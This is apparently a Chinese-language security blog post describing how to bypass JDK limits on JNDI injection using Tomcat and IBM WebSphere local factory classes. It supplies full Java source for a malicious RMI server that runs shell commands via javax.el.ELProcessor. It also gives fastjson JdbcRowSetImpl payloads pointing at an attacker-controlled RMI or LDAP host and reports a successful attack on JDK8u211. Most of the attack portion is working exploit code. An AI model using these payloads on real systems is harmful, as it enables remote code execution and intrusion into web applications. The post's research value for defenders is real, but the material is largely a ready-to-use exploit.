前言
一般情况下,我们在进行JNDI注入时会参考JDK的版本限制,具体的修复可以参考下图
但如果JDK大于图中版本时,就不能进行JNDI注入了吗?答案不是的
触发情况
- 1.JDK >上图版本
- 2.Web Application use Tomcat || IBM WebSphere && can use LDAP | RMI
Payload
1.恶意RMI服务器
使用如下代码搭建恶意的RMI服务器
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
public class EvilRMIServerNew {
public static void main(String[] args) throws Exception {
String vpsip = "your vpsip" ;
System.out.println("Creating evil RMI registry on port 1097");
System.setProperty("java.rmi.server.hostname",vpsip);
Registry registry = LocateRegistry.createRegistry(1097);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','command']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("ExportObject", referenceWrapper);
}
}
你只需要修改vpsip为你的ip,且修改command为你要执行的命令即可
随后在webapp调用rmi服务即可,例如fastjson(利用tomcat的本地类)
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://vpsip:1097/ExportObject",
"autoCommit":true
}
}
2.恶意LDAP服务器
本来准备自己写一个的,在逛github时偶然发现了一个轮子
使用它可以搭建基于LDAP恶意服务器合集
我们还是以fastjson
为攻击目标举例,这回我们把JDK换成JDK8U211
我们构造好payload进行攻击(利用tomcat的本地类)
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://vpsip:1389/o=tomcat",
"autoCommit":true
}
}
可见已经弹出Firefox,攻击成功
关于tomcat
由于tomcat7并不含有javax.el.ELProcessor
类,而tomcat8含有
由此得知tomcat7无法触发.
已知可利用的本地类
Tomcat ----> javax.el.ELProcessor
IBM WebSphere ----> com.ibm.ws.webservices.engine.client.ServiceFactory
|| com.ibm.ws.client.applicationclient.ClientJ2CCFFactory
利用上面的已知类你可以自定义想要的RMI恶意服务器
Reference
Exploiting JNDI Injections in Java:
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
rogue-jndi:
https://github.com/veracode-research/rogue-jndi